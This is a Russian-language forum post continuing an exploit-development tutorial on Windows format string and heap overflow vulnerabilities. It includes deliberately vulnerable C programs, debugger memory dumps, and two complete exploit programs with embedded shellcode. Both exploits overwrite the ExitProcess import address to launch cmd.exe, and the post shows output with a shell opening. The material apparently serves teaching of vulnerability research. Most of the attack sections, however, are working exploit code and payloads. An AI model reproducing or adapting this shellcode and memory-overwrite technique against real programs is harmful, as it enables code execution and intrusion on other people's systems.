|
Участник форума
Регистрация: 25.05.2007
Сообщений: 290
Провел на форуме: 1740746
Репутация:
435
|
|
продолжение
---| 0x05 Format String (not format C) |-----------------------------------
Код HTML:
Большенство из вас (и даже некоторых опытных специалистов в области компьютер-
ной безопасности, с которыми мне пришлось общаться) не подозревали, что уязви-
мость класса формат строки (format string) может быть использована в целях по-
лучения шелла (это было связано с тем, что никто из них толком не изучал эту
тему). Процесс протекает аналогично тому, который используется в *nix'e.
В windows есть аналог GOT'y - Import Address Table (IAT)...где в виде таблицы
хранятся адреса функций, а ниже соответствующие этим адресам наименования функ-
ций. Многие наверное знают каким свойством обладает %n (записывает по адресу
аргумента кол-во символов до данного оператора). Об этом очень хорошо было опи-
сано в своё время в статьях ya_man'a. Рассмотрим уязвимую программу:
PHP код:
.....:-[source code с or с++]-:........
#include <windows.h>
#include <stdio.h>
int main(int argc, char **argv) {
char abc[200];
int yo;
yo=atoi(argv[1]);
strncpy(abc,argv[2],199);
printf(abc);
ExitProcess(0);
}
.....:-[end of source code]-:..........
C:\MSVCSTAFF\Debug>vuln3.exe 666 AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
.%x.%x.%x.%x.%x.%x AAAA143018.0.7ffdf000.cccccccc.cccccccc.cccccccc.cccccccc
.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.ccccc
ccc.cccccccc.cccccccc.cccccccc.29a
C:\MSVCSTAFF\Debug>
Код HTML:
Мы нашли начальную позицию внесения данных в char abc[100]; (0x29a - 666)
Теперь остаётся занести на эту позицию нужный адрес, который мы хотим перезапи-
сать и послать нужно сформированную строку! т.е. вместо 666 нужно вписать ад-
рес в десятичном виде и последний %x, который указывает на эту позицию (точнее,
вынимает из стека в качестве аргумента) заменить на %n (ну и сделать так, чтоб
кол-во символов до %n было равно адресу на шеллкод в десятичном виде)! Вот по-
жалуй и всё :)! Остаётся выяснить адрес, который нужно перезаписать, если пос-
мотреть на память повнимательней, то можно найти адреса функций (а именно, нас
интересует адрес функции ExitProcess()):
PHP код:
.....:-[disassembled]-:................
'
00425119 00 00 ... E7 77 ...............................ч\зw
0042513C 38 C9 ... 05 E8 8Йзw+Дзw_6лw=_зw__зwЕxзw4_йwэ_зwШ.и
0042515F 77 EF ... 02 77 wпwзw. зw_.жw__зw"_лw+ЕйwбЙзw$.зw.w
00425182 E6 77 ... 77 3E жwб~зw1Йзw."зwz.жw.nзw&Ззw-.хw4_зw>
004251A5 18 F6 ... E7 77 .цw-1зw_3зw$Йжw}.хwhiзwО|зwлAжwfИзw
004251C8 9F 84 ... 74 E7 _"зw?Ўзw.Зжwш.хw..зw/rхwщ?зw__зw.tз
004251EB 77 F9 ... 00 00 wщ_зw.язwcyзw......................
0042520E 00 00 ... 00 00 ...................................
00425231 00 00 ... 65 73 .......................}.ExitProces
00425254 73 00 ... 00 74 s.KERNEL32.dll..К.GetCommandLineA.t
00425277 01 47 ... 74 64 .GetVersion..Q.DebugBreak..R.GetStd
0042529A 48 61 ... 44 65 Handle..Я.WriteFile.-.InterlockedDe
004252BD 63 72 ... 47 65 crement..х.OutputDebugStringA..>.Ge
004252E0 74 50 ... 6E 74 tProcAddress..В.LoadLibraryA..°.Int
00425303 65 72 ... 65 4E erlockedIncrement..$.GetModuleFileN
00425326 61 6D ... 72 72 ameA.._.TerminateProcess..ч.GetCurr
00425349 65 6E ... 6C 74 entProcess.-.UnhandledExceptionFilt
'
.....:-[end of disassembled]-:.........
Код HTML:
начальный(верхний) кусок отвечает адресам соответствующих функций, которые пре-
дставлены в нижней части блока. Т.е. по адресу 0x00425138 и находится наш Exit
Process(). Всё что нужно теперь уже известно!
PHP код:
.....:-[source code с or с++]-:........
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
char shellcode[] =
"\x33\xf6" "\xB9\xAA\xAA\x6C\x6C" "\xC1\xE9\x10" "\x51"
"\x68\x72\x74\x2E\x64" "\x68\x6D\x73\x76\x63" "\x54"
"\xB9\xD8\x05\xE8\x77" "\xff\xd1" "\xb9\xaa\xaa\x65\x6d"
"\xc1\xe9\x10" "\x51" "\x68\x73\x79\x73\x74" "\x54"
"\x50" "\x8B\xF8" "\xB9\xFD\xA5\xE7\x77" "\xff\xd1"
"\xb9\xaa\x63\x6d\x64" "\xC1\xE9\x08" "\x51" "\x54"
"\xff\xd0" "\x56" "\x68\x65\x78\x69\x74" "\x54" "\x57"
"\xb9\xfd\xa5\xe7\x77" "\xff\xd1" "\x56" "\xff\xd0";
int main()
{
long ret=0x425138;//addr of ExitProcess()
char cmd[200];
long xret=0x0012feb8 - 0xee;//addr of shellcode
memset(cmd,0x00,sizeof(cmd));
strcpy(cmd,"C:\\MSVCSTAFF\\Debug\\vuln3.exe ");
sprintf(cmd+strlen(cmd),"%d %s%%x.((%%x.)*17).%%%dx.%%n",ret,shellcode,xret);
system(cmd);
return 0;
}
.....:-[end of source code]-:..........
Работоспособность:
C:\MSVCSTAFF\Debug>fmt-str-exp.exe
.....
cccccccc.Microsoft Windows XP [Верс
ия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.
C:\MSVCSTAFF\Debug>exit
C:\MSVCSTAFF\Debug>
Код HTML:
Как видно, всё работает! Но одно но, перезаписываемый адрес содержит 0х00 байт!
т.е. если бы не было int yo; то перезаписать этот адрес нам бы не удалось, т.к.
мы не можем использовать %<NUMBER>$n технологию:
C:\MSVCSTAFF\Debug>vuln3 11 %1$x
$x
C:\MSVCSTAFF\Debug>vuln3 11 %1\$x
\$x
C:\MSVCSTAFF\Debug>vuln3 11 %%1$x
%1$x
C:\MSVCSTAFF\Debug>vuln3 11 %%1\$x
%1\$x
А если записать адрес ExitProcess() в конце нашего запроса и последовательно
извлекать из стека данные, то мы не сможем добраться до нашего адреса, т.к.
мы будем добавлять всё новые и новые символы в буфер (дистанция до адреса
будет сохраняться), а перезаписать адреса тех или иных функций каких-либо мод-
улей не удастся. Поэтому необходимо думать куда бы записать адрес, который надо
перезаписать.
---| 0x06 Heap Overflow (way the most strong) |----------------------------
Код HTML:
И вот, пожалуй, самая интересная часть :), которая заставляет созидать. Думаю,
следует начать изучать данный тип уязвимости сразу с примера.
PHP код:
.....:-[source code с or с++]-:........
#include <windows.h>
#include <stdio.h>
int main() {
char *a;
char *b;
a=(char *)malloc(100);
b=(char *)malloc(30);
char arg[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
memcpy(b,&arg,sizeof(arg));
free(a);
ExitProcess(0);
}
.....:-[end of source code]-:..........
Код HTML:
Следим за ходом выполнения программы в отладчике! Как видно из примера, сперва
выделяется 100 байт в heap'e и указателю а присваевается адрес этого места (с
которого можно заносить данные), после чего выделяется 30 байт для b.в этом
случае а указывает на 0х00430150, а b - на 0х00430100 если глянуть на эти адре-
са, то можно увидеть следующую картину:
PHP код:
.....:-[disassembled]-:................
'
00430100 CD CD ... FD 00 ННННННННННННННННННННННННННННННээээ.
....
00430150 CD CD ... CD CD ННННННННННННННННННННННННННННННННННН
00430173 CD CD ... CD CD ННННННННННННННННННННННННННННННННННН
00430196 CD CD ... FD 91 ННННННННННННННННННННННННННННННээээ'
причём, если рассматривать после выделения всю структуру целиком, то для b, к
примеру, она принимает вид такой:
004300BA 00 00 ... 00 51 ..............................Р...Q
004300DD 00 00 ... FD FD ...0.C.....................(...ээээ
00430100 CD CD ... FD 00 ННННННННННННННННННННННННННННННээээ.
00430123 00 00 ... 01 00 .....Q...'....I2.а.C.........d.....
'
.....:-[end of disassembled]-:.........
Код HTML:
при этом используемая юзером часть - с 0х00430100 по 0х0043011e (30 байт т.е.).
далее по программе идёт запись в b, если запустить программу, то можно увидеть
окошко об ошибке, которое сообщает, что освобождаемый блок (а) испорчен (т.е.
испорчен нами, т.к. мы перезаписали его часть).
Предлагаю заглянуть внутрь функции free() и всё выяснить:
PHP код:
_CRTIMP void __cdecl free(void * pUserData)
{ _free_dbg(pUserData, _NORMAL_BLOCK); }
идёт вызов free в отладочном режиме
_CRTIMP void __cdecl _free_dbg(
#endif /* _MT */
void * pUserData,
int nBlockUse)
{
_CrtMemBlockHeader * pHead;
...
pUserData - это и есть тот блок , который мы пытаемся освободить (т.е. a)
pHead - структура заголовка блока, которая выглядит следующим образом:
typedef struct _CrtMemBlockHeader
{
struct _CrtMemBlockHeader * pBlockHeaderNext;
struct _CrtMemBlockHeader * pBlockHeaderPrev;
char *szFileName;
int nLine;
size_t nDataSize;
int nBlockUse;
long lRequest;
unsigned char gap[nNoMansLandSize];
/* followed by:
* unsigned char data[nDataSize];
* unsigned char anotherGap[nNoMansLandSize];
*/
} _CrtMemBlockHeader;
далее идут проверки блока, который был передан:
/* verify heap before freeing */
if (_crtDbgFlag & _CRTDBG_CHECK_ALWAYS_DF)
_ASSERTE(_CrtCheckMemory());
if (pUserData == NULL)
return;
Код HTML:
разумется, что, если был передан нулевой адрес блока, то на этом этапе выполне-
ние функции free() завершится.
_ASSERTE(_CrtIsValidHeapPointer(pUserData));
тут идёт проверка самого адреса блока, если мы передали неправильный адрес (для
примера 0х41414141), то на этом этапе программа выдаст нам ошибку!
/* get a pointer to memory block header */
pHead = pHdr(pUserData);
указателю pHead (который указывает на структуру _CrtMemBlockHeader) присваев-
ается адрес структуры заголовка блока, который расположен на 0x20 байт левее
адреса блока (т.е. если а = 0х00430150, то pHead = 0х00430130)
Если глянуть на адрес 0х00430130, то мы увидим, что мы его затёрли (и не толь-
ко его), когда копировали информацию в b (т.к. блок b был расположен выше(лев-
ее) блока a):
00430130 41 41 41 ... CD CD AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.ээННН
ясное дело, что это и будет причина ошибки, и вот, как и следовало ожидать,
сразу после присваивания указателю pHead адреса на структуры заголовка идёт
проверка блока, т.е. проверка того адреса, который был присвоен указателю:
/* verify block type */
_ASSERTE(_BLOCK_TYPE_IS_VALID(pHead->nBlockUse));
если сделать шаг дальше, то на этом месте выскочит ошибка! Но причина не в том,
что мы затёрли адрес на структуру...причина в том, что мы затерли те байты,
которые используются при данной проверке:
PHP код:
.....:-[disassembled]-:................
'
004300EA 00 00 ... CD CD CD ..............(...ээээННННННННННННН
0043010D CD CD ... 00 00 НННННННННННННННННээээ......Q...'...
00430130 88 49 ... CD CD .I2.а.C.........d.......'...ээээННН
'
.....:-[end of disassembled]-:.........
вот эти байты "00 00 00 01 00 00 00 28 00 00 00".
Код HTML:
если же их не затерать, то выполнение функции free() продолжится далее! А имен-
но проверки и работа со структурой, на которую указывает pHead! Это и есть пре-
дмет для тщательного изучения, т.к. адрес на структуру заголовка блока мы конт-
ролируем.
И разумеется самые интересные строки далее для меня были:
.....
pHead->pBlockHeaderNext->pBlockHeaderPrev = pHead->pBlockHeaderPrev;
.....
pHead->pBlockHeaderPrev->pBlockHeaderNext = pHead->pBlockHeaderNext;
.....
предлагаю изучить их повнимательней:
PHP код:
1062: pHead->pBlockHeaderNext->pBlockHeaderPrev = pHead->pBlockHeaderPrev;
00401E1C 8B 45 FC mov eax,dword ptr [pHead]
00401E1F 8B 08 mov ecx,dword ptr [eax]
00401E21 8B 55 FC mov edx,dword ptr [pHead]
00401E24 8B 42 04 mov eax,dword ptr [edx+4]
00401E27 89 41 04 mov dword ptr [ecx+4],eax
Код HTML:
последняя инструкция вызывает опасения, т.к. ,контролируя ecx и eax, можно пе-
резаписать какой-нибудь адрес, хранящийся в [ecx+4] на значение(адрес), которое
хранится в eax. И что же вы думаете? Это действительно так! Мы контролируем eax
и ecx! :)) Т.е. адрес, на который указывает pHead - мы можем перезаписать..
00401E1C 8B 45 FC mov eax,dword ptr [pHead]
---------------------[запишет в eax адрес pHead (0х00430130, если помните) ]
00401E1F 8B 08 mov ecx,dword ptr [eax]
---------------------[в ecx запишется то, что находится по адресу]
---------------------[0x00430130, КОТОРЫЙ МЫ КОНТРОЛИРУЕМ]
00401E21 8B 55 FC mov edx,dword ptr [pHead]
---------------------[в edx запишется 0x00430130]
00401E24 8B 42 04 mov eax,dword ptr [edx+4]
---------------------[а в eax запишется то, что находится по адресу]
---------------------[0х00430134 , КОТОРЫЙ МЫ ТОЖЕ КОНТРОЛИРУЕМ]
00401E27 89 41 04 mov dword ptr [ecx+4],eax
---------------------[и в итоге запишем по адресу, который хранится]
---------------------[в ecx + смещение 4байта... адрес, который записан]
---------------------[в eax]
Вот где собака зарыта! :) Теперь достаточно вместо адреса структуры заголовка
блока написать адрес функции ExitProcess(), а в следующие 4 байта записать ад-
рес, где хранится шеллкод. Но не стоит торопиться...предлагаю рассмотреть сле-
дующую строку, которая осталась:
PHP код:
pHead->pBlockHeaderPrev->pBlockHeaderNext = pHead->pBlockHeaderNext;
1072: pHead->pBlockHeaderPrev->pBlockHeaderNext = pHead->pBlockHeaderNext;
00401E73 8B 45 FC mov eax,dword ptr [pHead]
00401E76 8B 48 04 mov ecx,dword ptr [eax+4]
00401E79 8B 55 FC mov edx,dword ptr [pHead]
00401E7C 8B 02 mov eax,dword ptr [edx]
00401E7E 89 01 mov dword ptr [ecx],eax
Как видно, тут мы тоже контролируем ecx & eax. НО! Следует уделить этому куску
должное внимание!
00401E73 8B 45 FC mov eax,dword ptr [pHead]
00401E76 8B 48 04 mov ecx,dword ptr [eax+4]
---------------------[в ecx будет значение адреса 0х00430134 (адрес шеллкода)]
00401E79 8B 55 FC mov edx,dword ptr [pHead]
00401E7C 8B 02 mov eax,dword ptr [edx]
---------------------[а здесь(в eax) будет значение адреса 0х00430130]
---------------------[(т.е. адрес ExitProcess())]
00401E7E 89 01 mov dword ptr [ecx],eax
---------------------[ну а тут, собственно первые 4 байта нашего]
---------------------[шеллкода перепишутся на 0х00430130]
Код HTML:
Что же делать в этом случае? :)) Не стоит отчаиваться и забывать, что при прыж-
ке на шеллкод эти байты: "\x30\x01\x43\x00" превратятся в инструкции, которые
будут выполняться! Теперь задача состоит в том, чтобы сделать так..чтоб эти ин-
струкции ничего не испортили. Как это можно сделать? Очень просто - добавить
дополнительные инструкции в начало, чтобы при интерференции картина не измени-
лась :)), т.е. добавить 8 буковок A, к примеру, как я и сделал! маленькие нюан-
сы: мы, когда добираемся до адреса структуры блока (0х00430130) сносим на своём
пути другие данные, которые используются функцией __sbh_free_block при непос-
редственном освобождении:
PHP код:
.....:-[disassembled]-:................
'
004300DA 00 00 ... CD CD ..............(...ээээННННННННННННН
004300FD CD CD ... 00 00 НННННННННННННННННээээ......Q...'...
00430120 88 49 ... CD CD .I2.Р.C.........d.......'...ээээННН
'
.....:-[end of disassembled]-:.........
Код HTML:
очень важно сконструировать замену этим байтам "91 00 00 00", которые являются
sizeFront'ом, иначе на этом участке программа выдаст ошибку т.к. sizeFront есть
ничто иное как 0х00000091 и если в нём нолики заменить на хотя бы те же 0х01,
то получится 0х01010191, что есть 16843153. И представьте какой адрес тогда при
своится указателю pNext при наличии вот такого громадного смещения! Чтобы избе-
жать этой трудности...достаточно записать вместо этих 4байт маленькую величину,
такую как 0хffffffff :). Вот и всё! Проблема решена!
PHP код:
Окончательный вариант получается таков (эксплоит):
/* Heap Overflow exploit example for Win32 */
#include <windows.h>
#include <stdio.h>
char shellcode[] =
"\x41\x41\x41\x41" "\x41\x41\x41\x41"
"\x33\xD2" "\x52" "\x68\x6C\x6C\x20\x20"
"\x68\x72\x74\x2E\x64" "\x68\x6D\x73\x76\x63"
"\x54" "\xB9\xD8\x05\xE8\x77" "\xFF\xD1"
"\x52" "\x68\x20\x63\x6D\x64" "\x54"
"\xB9\x44\x80\xC1\x77" "\xFF\xD1" "\x52"
"\xB9\xDC\x7A\xC2\x77" "\xFF\xD1";
int main() {
char *a;
char *b;
a=(char *)malloc(100);
b=(char *)malloc(30);
printf("%p\n",shellcode);
char arg[]=
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" //malloc(30)
"\xfd\xfd\xfd\xfd"
"\x01\x01\x01\x01\x01\x01\x51\x01\x01\x01\xff\xff\xff\xff" //important data
"\x34\x51\x42\x00" //0x00425134+4 -- addr of ExitProcess()
"\x30\x2a\x42\x00" //0x00422a30 -- addr of shellcode
;
memcpy(b,&arg,sizeof(arg));
free(a);
ExitProcess(0);
}
Код HTML:
Ед. проблема, опять остающаяся в силе - это 0х00 в адресах, которые нужно испо-
льзовать! В случае с memcpy() нули не играют никакой роли, а вот, если исполь-
зовать strcpy, etc., то необходимо задуматься, что именно надо переписать, и
где именно расположить шеллкод! ;)
При написании использованы материалы статьи:
Crazy Einstein (aka xCrZx) crazy_einstein@yahoo.com 02.11.03 - прим. -=lebed=-
Последний раз редактировалось -=lebed=-; 30.04.2008 в 08:52..
|